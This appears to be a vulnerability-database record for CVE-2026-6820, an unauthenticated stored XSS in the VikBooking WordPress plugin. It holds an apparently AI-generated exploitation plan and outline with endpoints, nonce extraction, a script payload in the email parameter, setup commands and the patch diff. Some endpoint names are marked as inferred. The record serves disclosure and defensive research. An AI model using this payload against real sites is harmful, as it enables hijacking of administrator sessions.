[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcSJkXqgUP8LMF5B30a8DTcO0GDTwF5gPsxhaEo-J1rM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-6820","vikbooking-hotel-booking-engine-pms-unauthenticated-stored-cross-site-scripting-via-booking-form-email-field","VikBooking Hotel Booking Engine & PMS \u003C= 1.8.8 - Unauthenticated Stored Cross-Site Scripting via Booking Form Email Field","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","vikbooking",null,"\u003C=1.8.8","1.8.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-07 23:40:43","2026-07-08 12:33:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe2b4586a-f87d-4a51-8f4e-932d7254518e?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fcontroller.php","admin\u002Fcontrollers\u002Fpayschedules.php","admin\u002Fcontrollers\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fpayschedules.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Freservation.php","admin\u002Fhelpers\u002Fsrc\u002Ftaxonomy\u002Fsummary.php","admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS)\n\n## 1. Vulnerability Summary\nThe **VikBooking Hotel Booking Engine & PMS** plugin (versions \u003C= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the `email` parameter during the submission of booking or quotation forms and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard (e.g., within the \"Quotations\" or \"Booking Details\" views).\n\n## 2. Attack Vector Analysis\n- **Endpoint:** The vulnerability is reachable via front-end booking or quotation submission. Typically, this is a POST request to the main WordPress front-end or an AJAX action. Based on `admin\u002Fcontrollers\u002Fquote.php`, the logic is likely mirrored in a front-end controller.\n- **Action:** `vikbooking_save_quote` (inferred action for quotation) or a direct POST to a page containing the `[vikbooking_item_details]` or `[vikbooking_checkout]` shortcode.\n- **Vulnerable Parameter:** `quote[customer][email]` (or simply `email` depending on the specific form context).\n- **Authentication:** Unauthenticated.\n- **Preconditions:** The plugin must have at least one active \"Room\" and \"Rate Plan\" to allow a user to reach the checkout\u002Fquotation stage.\n\n## 3. Code Flow\n1. **Entry Point:** A user submits a quotation or booking form. The request reaches a controller (e.g., `VikBookingControllerQuote::save` in `admin\u002Fcontrollers\u002Fquote.php`).\n2. **Data Acquisition:** The controller retrieves the input:\n   ```php\n   $quote = $app->input->get('quote', [], 'array');\n   $customerInfo = [\n       'first_name' => $quote['customer']['first_name'],\n       'email'      => $quote['customer']['email'] ?? null, \u002F\u002F Raw input\n       \u002F\u002F ...\n   ];\n   ```\n3. **Storage:** The data is passed to `VBOMvcModel::getInstance('customer')->save($customerInfo)` or `VBOModelQuote::save()`.\n4. **Processing:** In `admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php`, the `preflight()` method is called before saving. It performs various conversions (UUID, IP, country codes) but **does not** call `sanitize_email()` or `sanitize_text_field()` on the email field.\n5. **Persistence:** The payload is stored in the `#__vikbooking_quotations` or `#__vikbooking_customers` database table.\n6. **Sink:** An administrator views the booking\u002Fquotation in the dashboard. The `admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php` loads the data. The view template (e.g., `admin\u002Fviews\u002Fquotation\u002Ftmpl\u002Fdefault.php`) renders the email field using `echo` without `esc_html()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nVikBooking often uses a Joomla-style token or a WordPress nonce for form submissions. To obtain a valid nonce for unauthenticated exploitation:\n\n1. **Identify Shortcode:** The booking form is typically rendered via the `[vikbooking_checkout]` or `[vikbooking_item_details]` shortcode.\n2. **Setup Test Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Booking\" --post_status=publish --post_content='[vikbooking_checkout]'\n   ```\n3. **Extraction:** Navigate to the newly created page. VikBooking localizes its scripts using `wp_localize_script`.\n4. **JS Variable:** Based on common VikBooking patterns, look for the `vbo_ajax` or `vikbooking_data` object.\n   - Use `browser_eval(\"window.vbo_vars?.nonce\")` or check the HTML for a hidden input named `_wpnonce` or `token`.\n   - **Note:** If `JSession::checkToken()` is used (as seen in `admin\u002Fcontrollers\u002Fquote.php`), the \"nonce\" may be a 32-character MD5 hash used as a key in the request.\n\n## 5. Exploitation Strategy\n### Step 1: Submit Malicious Quotation\nSubmit a quotation with a script payload in the email field.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php` (if using AJAX) or the URL of the Booking page.\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `vbo_save_quote` (or the specific action found in the form)\n    - `quote[customer][first_name]`: `Attacker`\n    - `quote[customer][last_name]`: `User`\n    - `quote[customer][email]`: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>@example.com`\n    - `quote[customer][country]`: `US`\n    - `quote[solutions][0][checkin]`: `2026-10-10`\n    - `quote[solutions][0][checkout]`: `2026-10-12`\n    - `quote[solutions][0][rooms][0][id]`: `1` (Must be a valid room ID)\n    - `quote[solutions][0][rooms][0][id_price]`: `1` (Must be a valid rate ID)\n    - `quote[solutions][0][rooms][0][adults]`: `1`\n    - `_wpnonce`: `[EXTRACTED_NONCE]`\n\n### Step 2: Trigger the Payload\n1. Log in to the WordPress admin panel.\n2. Navigate to **VikBooking** -> **Quotations** or **VikBooking** -> **Bookings**.\n3. The script will execute when the list is rendered or when clicking \"Edit\" to view the quotation details.\n\n## 6. Test Data Setup\n1. **Create a Room:**\n   ```bash\n   wp db query \"INSERT INTO wp_vikbooking_rooms (name, units, avail) VALUES ('Deluxe Room', 5, 1);\"\n   ```\n2. **Create a Rate Plan:**\n   ```bash\n   wp db query \"INSERT INTO wp_vikbooking_prices (idroom, name, price) VALUES (1, 'Standard Rate', 100.00);\"\n   ```\n3. **Create a Front-end Page:**\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_content='[vikbooking_checkout]' --post_title='Checkout'\n   ```\n\n## 7. Expected Results\n- **Submission Response:** The server should return a `200 OK` or a JSON success message (e.g., `{\"success\":true}`).\n- **Admin Trigger:** Upon navigating to the VikBooking Quotations page, an alert box showing the document domain should appear.\n\n## 8. Verification Steps\nConfirm the payload is stored in the database:\n```bash\nwp db query \"SELECT email FROM wp_vikbooking_quotations WHERE first_name='Attacker';\"\n# Expected output should contain: \">\u003Cscript>alert(document.domain)\u003C\u002Fscript>@example.com\n```\n\n## 9. Alternative Approaches\nIf `vbo_save_quote` is restricted or requires higher privileges, target the **Front-end Reservation Form**:\n- **Action:** `vikbooking_save_reservation`\n- **Parameter:** `vbo_email` or `cust_email`.\n- **Logic:** Many plugins use shared helpers (like `cpin` in the source) to handle customer data. Injecting into any form that creates a \"Customer\" record in the database will likely trigger the XSS in the \"Customers\" or \"Booking Details\" administrative views.","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'email' parameter. This occurs due to a lack of input sanitization when processing booking\u002Fquotation forms and a failure to escape the stored data when rendering it in the administrative dashboard.","\u002F\u002F admin\u002Fcontrollers\u002Fquote.php\n        \u002F\u002F build customer information\n        $customerInfo = [\n            'first_name' => $quote['customer']['first_name'],\n            'last_name'  => ($quote['customer']['last_name'] ?? '') ?: '(Quote)',\n            'email'      => $quote['customer']['email'] ?? null,\n            'phone'      => $quote['customer']['phone'] ?? null,\n            'country'    => $quote['customer']['country'] ?? null,\n        ];\n\n---\n\n\u002F\u002F admin\u002Fcontroller.php (around line 11173)\n\t\tforeach ($customers as $k => $v) {\n\t\t\t$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"'.$v['id'].'\" data-email=\"'.$v['email'].'\" data-phone=\"'.htmlspecialchars($v['phone']).'\" data-country=\"'.$v['country'].'\" data-pin=\"'.$v['pin'].'\" data-firstname=\"'.htmlspecialchars($v['first_name']).'\" data-lastname=\"'.htmlspecialchars($v['last_name']).'\">'.\"\\n\";","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.8\u002Fadmin\u002Fcontroller.php\t2026-04-20 22:09:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fcontroller.php\t2026-04-28 16:07:36.000000000 +0000\n@@ -11170,7 +11205,7 @@\n \t\t$cust_old_fields = array();\n \t\t$cstring_search = '\u003Cdiv class=\"vbo-custsearchres-inner\">' . \"\\n\";\n \t\tforeach ($customers as $k => $v) {\n-\t\t\t$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"'.$v['id'].'\" data-email=\"'.$v['email'].'\" data-phone=\"'.htmlspecialchars($v['phone']).'\" data-country=\"'.$v['country'].'\" data-pin=\"'.$v['pin'].'\" data-firstname=\"'.htmlspecialchars($v['first_name']).'\" data-lastname=\"'.htmlspecialchars($v['last_name']).'\">'.\"\\n\";\n+\t\t\t$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"' . (int) $v['id'] . '\" data-email=\"' . htmlspecialchars($v['email']) . '\" data-phone=\"' . htmlspecialchars($v['phone']) . '\" data-country=\"' . htmlspecialchars($v['country']) . '\" data-pin=\"' . htmlspecialchars($v['pin']) . '\" data-firstname=\"' . htmlspecialchars($v['first_name']) . '\" data-lastname=\"' . htmlspecialchars($v['last_name']) . '\">'.\"\\n\";\n \t\t\t$cstring_search .= '\u003Cspan class=\"vbo-custsearchres-cflag\">';","1. Identify a page containing the VikBooking booking or quotation form (e.g., via the `[vikbooking_checkout]` shortcode).\n2. Obtain a valid security token\u002Fnonce if required, usually found in localized JS variables like `vbo_vars` or as a hidden input field.\n3. Send an unauthenticated POST request to the form submission endpoint (typically `admin-ajax.php` with action `vbo_save_quote` or a direct POST to the booking page).\n4. Inject a JavaScript payload into the `quote[customer][email]` parameter, such as: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>@example.com`.\n5. Wait for an administrator to log in and navigate to the 'Quotations' or 'Bookings' list in the VikBooking dashboard.\n6. The script will execute in the administrator's session when the application renders the customer search results or booking details container containing the unsanitized email attribute.","gemini-3-flash-preview","2026-07-25 08:17:41","2026-07-25 08:18:30",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.8.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags"]